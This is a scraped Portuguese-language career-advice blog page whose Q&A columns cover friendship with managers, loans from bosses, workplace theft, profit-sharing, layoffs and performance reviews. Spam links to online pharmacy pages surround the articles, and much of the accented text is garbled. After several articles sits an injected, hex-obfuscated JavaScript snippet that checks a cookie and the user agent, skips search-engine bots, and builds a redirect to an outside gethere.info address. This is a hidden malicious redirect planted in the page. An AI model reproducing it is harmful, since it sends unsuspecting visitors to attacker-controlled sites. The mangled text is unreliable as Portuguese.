http://ayakkabiguvenligi.com/order-dipyridamole-thallium/ http://pdjlawfirm.org/2018/02/12/cost-of-lisinopril-in-mexico/
T http://acdeimplants.org/arimidex-buy-australia/ er um gerente em quem vocA? pode confiar Ai?? sempre bom. Na vida profissional, Ai?? muito comum trabalharmos com amigos pessoais ou construirmos laAi??os de amizade dentro do ambiente de trabalho. Entretanto, essa relaAi??A?o requer alguns cuidados.
Quando o nosso gerente Ai?? amigo pessoal o cuidado deve ser redobrado. Ai?? importante lembrar que o fato dele ser seu amigo nA?o lhe dA? privilAi??gios. Por exemplo, nA?o se pode esperar que ele passe informaAi??Ai??es para vocA? antes dos demais colegas da equipe.
Se uma demissA?o for acontecer, ou se houver uma mudanAi??a na estratAi??gia da empresa, ele nA?o poderA? lhe comunicar antes. E vocA? nA?o deve se sentir traAi??do por conta desse fato. Enquanto gerente, ele precisa resguardar as informaAi??Ai??es da empresa e diferenciar seu papel como gestor e como amigo.
Outro cuidado importante Ai?? nA?o gerar dentro do ambiente de trabalho uma situaAi??A?o de muita intimidade. Nada de ir entrando na sala do gerente sem ser anunciado (caso essa seja a prA?tica normal da empresa); deve ainda, cuidar para realizar seu trabalho no prazo e nas condiAi??Ai??es acertadas; e cumprir as normas sempre.
AlAi??m disso, nos momentos de avaliaAi??A?o de desempenho, Ai?? preciso focar nos indicadores que foram estabelecidos. Como seu gestor, ele terA? que lhe avaliar usando a mesma rAi??gua com a qual avalia seus colegas de trabalho. NA?o confunda a relaAi??A?o de amizade com esse momento profissional.
E no mais, nA?o tem problema algum sair com seu amigo, depois do expediente ou frequentar festas familiares, sempre tendo o cuidado de nA?o abordar assuntos estratAi??gicos da empresa nos momentos de descontraAi??A?o.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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A grande maioria das pessoas está sujeita a passar por um momento de dificuldade financeira na vida. Existem várias medidas que podem ser tomadas diante dessa situação, e alguns profissionais, por terem um bom relacionamento com seu gestor, levam em consideração pedir ajuda a ele. Essa atitude é recomendável?
Primeiramente, se você está passando por alguma dificuldade financeira, é indiscutível rever seus custos fixos e tentar cortar aquilo que for possível. Caso apenas isso não seja suficiente e você realmente precise de ajuda, vale a pena recorrer a outras fontes antes de procurar o seu gestor, por melhor que seja a relação entre as partes. Analise as taxas dos bancos para empréstimos pessoais ou para fins específicos e tente traçar um plano.
É essencial ter consciência antes de pedir um empréstimo, por isso pergunte a si mesmo sobre seu comprometimento e capacidade de pagamento das parcelas. Analise também se o valor que você pegará emprestado será o suficiente para garantir a finalização da dívida ou para realizar o investimento pretendido – quando esse for o caso. De outro modo, o empréstimo pode acabar gerando maior endividamento.
Outra alternativa é recorrer a familiares ou amigos muito próximos, se for uma situação emergencial. Pedir dinheiro ao gerente deve ser a última das opções consideradas, pois pode acabar gerando uma situação difícil e desconfortável para vocês dois. Caso você não consiga pagar o empréstimo, por exemplo, isso pode impactar em um desgaste emocional e também profissional, até chegar a um ponto onde a situação é tão extrema que se torna insustentável para você continuar no seu emprego.
E, se seu chefe for seu amigo, pior ainda. Pode-se perder o emprego e um amigo
Aconteceu um furto na minha empresa e isso criou um clima pesado no ambiente de trabalho. Como agir nesses casos para nA?o piorar a situaAi??A?o?
Primeiramente, evite fazer especulaAi??Ai??es. Caso vocA? nA?o esteja envolvido diretamente no fato e na investigaAi??A?o, qualquer comentA?rio pode ser tomado como ofensa ou inadequaAi??A?o.
Caso saiba de algo sobre o furto, nA?o fique repassando informaAi??Ai??es para quem nA?o deve. VA? direto ao gestor responsA?vel e comunique o fato com discriAi??A?o. Nada pior para o clima jA? pesado do que ficar alimentando fofoca.
Tenha cuidado com seus pertences pessoais, mesmo em um local por onde sA? circulem pessoas conhecidas. Antes mesmo de viver uma situaAi??A?o como essa, deixar objetos de valor Ai?? mostra ou com fA?cil acesso nA?o Ai?? recomendA?vel.
Os furtos sA?o comuns justamente porque os criminosos se aproveitam da distraAi??A?o dos empregados ou de locais escondidos e fora do alcance visual na empresa e se sentem Ai?? vontade para praticar o crime.
E, por A?ltimo, nA?o acuse ninguAi??m sem provas. VocA? pode ser visto como uma pessoa leviana ao fazA?-lo, e isso nA?o ajuda em nada para o clima.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Cada vez mais as empresas têm adotado programas de participação de resultados como forma de premiar e valorizar os melhores desempenhos. Mas muitos profissionais passam a considerar o prêmio como algo garantido, o que é um equívoco.
Os programas de participação de resultados (PPRs) são uma importante ferramenta de gestão, pois são centrados na remuneração por resultados. E como o próprio nome diz, só se pode ter retorno se houver resultado. Isso implica no cumprimento das metas organizacionais, coletivas e individuais. A negociação dessas metas é um fator fundamental para que o programa seja transparente e justo. O cálculo a ser aplicado, no entanto, varia de companhia para companhia e depende da estratégia e das condições de cada negócio.
Quando o profissional é contratado, é importante que ele seja informado sobre a “regra do jogo”. Não importa o modelo, o que a empresa não pode deixar de fazer é explicar aos empregados como funciona a equação do programa. Do contrário, haverá dúvidas, ruídos e sensação de injustiça. Mas também é necessário que ele lembre que precisará mostrar um determinado desempenho para que faça jus ao ganho.
Muitas vezes a frustração está associada ao fato de se considerar a bonificação como algo certo e garantido. Por exemplo, se um profissional, nos últimos dois anos, conseguiu bater as metas e a empresa teve resultados positivos, ele pode ficar com a impressão de que a sua remuneração tem aquele patamar. Na verdade, o que é preciso considerar é que a distribuição só acontecerá se, novamente, as metas forem batidas e os resultados acontecerem.
Portanto é importante avaliar se a sua frustração não está associada ao fato de estar vivendo um período mais difícil de mercado e trabalhar para enfrentar esse momento.
Para o profissional que mora em uma cidade longe do seu trabalho, existem alternativas para conciliar o emprego com a vida pessoal?
Em alguns casos, morar longe do trabalho não é um problema. Muitas funções permitem horário flexível ou cumprir o expediente em casa em alguns momentos. O fato de ter mais liberdade com os horários pode ser um facilitador para sair dos engarrafamentos corriqueiros no início e no final do dia. Além disso, se você tem metas bem estabelecidas e consegue ser disciplinado, algumas horas em home office podem ser importantes para terminar um projeto ou relatório sem as frequentes interrupções.
Morar longe também não precisa ser um empecilho para uma boa qualidade de vida. Associe a flexibilidade aos compromissos familiares, por exemplo. Horários alternativos, ao contrário do que se imagina, podem melhorar a produtividade. É importante, entretanto, manter um período no qual se possa conviver com os demais profissionais da equipe e participar de reuniões. Também exige o cuidado para não se isolar e depois se sentir “fora do time”.
Em alguns casos, mesmo que você tenha um horário de trabalho fixo, você também pode administrar o tempo. Se a empresa possui uma academia de ginástica, por exemplo, você pode ganhar esse tempo se exercitando ao invés de ficar preso num congestionamento. O fundamental é adotar alternativas que atendam à empresa e contribuam para a sua qualidade de vida.
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http://www.assises-tlf.fr/paroxetine-hcl-40-mg-prices/ http://bestwebfast.com.br/sinequanone-online-france/ VocA? estA? com a sensaAi??A?o de que serA? demitido da sua empresa. Como fazer para ter certeza se isso Ai?? verdade e se posicionar?
Em uma situaAi??A?o como esta, primeiramente Ai?? preciso analisar alguns fatos: como vocA? se saiu nas duas A?ltimas avaliaAi??Ai??es de desempenho? EstA? acontecendo alguma mudanAi??a estratAi??gica no negA?cio ou no mercado que impacta na reduAi??A?o da equipe? HA? dificuldades de relacionamento com seu gestor e/ou colegas?
Caso vocA? tenha um bom desempenho e um bom relacionamento, esses sA?o fatores que ajudam na permanA?ncia na empresa. EntA?o analise como vai o mercado no qual sua organizaAi??A?o estA? inserida e se existem impactos nos resultados financeiros.
Mas se, mesmo nA?o havendo esses indAi??cios, vocA? ainda estiver se sentindo inseguro, vale conversar com seu gestor e analisar se seus medos tA?m fundamento. E caso vocA? tenha a confirmaAi??A?o de que vai mesmo ser desligado, Ai?? fundamental estar atento a novas oportunidades e ter um currAi??culo atualizado. Esteja sempre em contato com sua rede de relacionamento profissional.
Mas hA? outro cuidado: o fato de vocA? estar procurando outra oportunidade nA?o lhe tira a responsabilidade de cumprir com suas atribuiAi??Ai??es no emprego atual. Nada de deixar cair a qualidade do trabalho e descumprir prazos. Se sua saAi??da jA? estA? certa, alinhe com seu gerente a passagem das suas atribuiAi??Ai??es. Afinal, tA?o importante quanto a forma como chega, Ai?? a forma como sai da empresa.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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A autoconfiança é um elemento que pode ajudar significativamente no desenvolvimento de um profissional. É ela que o impulsiona a ter coragem para enfrentar as adversidades, além de ajudar na motivação. Ser confiante é indispensável, porém, quando há confiança exagerada em si mesmo, pode haver prejuízos na carreira.
No mercado, há profissionais com currículo e experiência diferenciados e isso é muito bom. Mas, por isso mesmo, alguns adotam uma postura arrogante desde o processo seletivo e terminam por causar uma péssima impressão.
Um primeiro equívoco é ser prepotente com o entrevistador. Na linguagem popular é o famoso “se achar”. Ter postura de superioridade, de querer mostrar que sabe mais que o recrutador e encará-lo apenas como um “intermediário”. O entrevistador é um profissional com qualificação para avaliar perfis e compatibilizar candidatos e empresas. É a primeira porta para o novo emprego. Por isso, deve ser tratado com respeito e tato.
Outro engano de candidatos muito qualificados é querer mostrar que sabem mais que o futuro gestor. Se você está chegando a um novo ambiente, é importante perguntar sobre os procedimentos, mas jamais externar que o que está sendo executado agora é errado. Lembre-se que você ainda não conhece a realidade da empresa para fazer críticas e não sabe o porquê das coisas acontecerem como acontecem.
Se entender que há o que melhorar, poderá sugerir à medida que for necessário e possível. Afinal, você foi contratado para dar soluções. E lembre-se, uma postura discreta e cuidadosa é atributo fundamental para qualquer profissional.
Muitos profissionais têm cuidado ao se apresentar para um processo seletivo. Entretanto, alguns cometem deslizes após serem escolhidos. Quais são os principais erros e como evitá-los?
Um erro básico é se apresentar para a contratação sem toda a documentação exigida. Caso esteja faltando algum documento e você precise de um pouco mais de tempo para consegui-lo, avise ao recrutador e ao contratante. Melhor ser sincero do que parecer pouco comprometido ou desorganizado.
Se você não conseguir chegar à empresa por alguma razão para fazer os procedimentos de contratação, ligue e se justifique na hora. Um pneu furado ou uma pessoa doente na família são situações que podem acontecer a qualquer um. Entrar em contato para avisar mostra educação e respeito.
Nunca deixe o processo unicamente sob a responsabilidade do departamento de pessoal da empresa. Pergunte, mostre interesse, siga os procedimentos orientados, mas não se esqueça de que você é parte interessada. Se estiver tendo dificuldades, por exemplo, para agendar o exame admissional, peça ajuda ao setor responsável.
E nunca ache que, porque foi o candidato escolhido, não precisa mais demonstrar proatividade. A responsabilidade é uma via de mão dupla. Afinal, sua vida na empresa está apenas começando.
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Vi um colega de trabalho recebendo a maior bronca do gerente durante uma reuniA?o. Como devo proceder para evitar uma situaAi??A?o ainda mais desagradA?vel?
Em primeiro lugar, Ai?? aconselhA?vel nA?o comentar o ocorrido com outras pessoas. Seja discreto e profissional. Nada de fazer piada sobre o que aconteceu, pois a brincadeira pode ser mal interpretada e gerar mais tensA?o ainda.
Caso tenha um bom vAi??nculo com o colega, pode ajudA?-lo a superar o desconforto. Reflita com ele o porquA? disso ter acontecido. Pode ser porque ele, de fato, tenha ai???pisado na bolaai???. VocA? pode ajuda-lo a mudar essa situaAi??A?o discutindo com ele as alternativas para situaAi??Ai??es futuras. TambAi??m Ai?? importante nA?o dramatizar e ajudar a focar na soluAi??A?o e deixA?-lo falar para desabafar.
Muito embora as crAi??ticas devam ser feitas em particular, muitas vezes o gestor estA? no limite, seja por questAi??es externas ao contexto da reuniA?o, ou seja porque, no fim das contas, o profissional vem recorrendo em erros.
Se for possAi??vel e vocA? tiver abertura, conversar com quem deu a bronca pode ajudar a reduzir a tensA?o. Discuta sobre o constrangimento de ter presenciado o ocorrido e sobre o prA?prio desgaste para quem dA? a bronca, jA? que esta situaAi??A?o Ai?? ruim para a imagem e para o relacionamento com a equipe.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Com a finalizaAi??A?o do semestre, muitos profissionais passam pelo processo de AvaliaAi??A?o de Desempenho da sua empresa. Ai?? um momento importante, onde o gestor analisa a atuaAi??A?o e aponta melhorias necessA?rias ao desenvolvimento do profissional.
A hora do feedback do primeiro semestre Ai?? decisiva para que se possa analisar quais os pontos fortes e quais as fragilidades, assim como para planejar o resto do ano. Nesse momento, um processo comum Ai?? a entrevista presencial com o gestor, na qual vocA? e ele poderA?o conversar sobre o resultado da avaliaAi??A?o e alinhar percepAi??Ai??es e expectativas.
O profissional deve aproveitar esse momento para ponderar sobre seu desempenho e construir uma estratAi??gia para seu desenvolvimento durante o restante do ano. Ai?? importante se perguntar: como faAi??o para reforAi??ar meus pontos fortes? Que estratAi??gia posso utilizar para me desenvolver e dar os resultados esperados? Ai?? necessA?rio realinhar alguma meta com meu gestor?
Respondidas essas perguntas, lembre-se que muito do desempenho depende do posicionamento do prA?prio profissional, mas que as condiAi??Ai??es oferecidas pela empresa e o suporte do gerente na superaAi??A?o das dificuldades tambAi??m sA?o fundamentais. Tenha em mente, ainda, que o RH da empresa tem o papel de dar suporte tirando dA?vidas sobre tAi??cnicas de feedback, e nA?o se acanhe em pedir ajuda e alinhar esses pontos com seu gestor.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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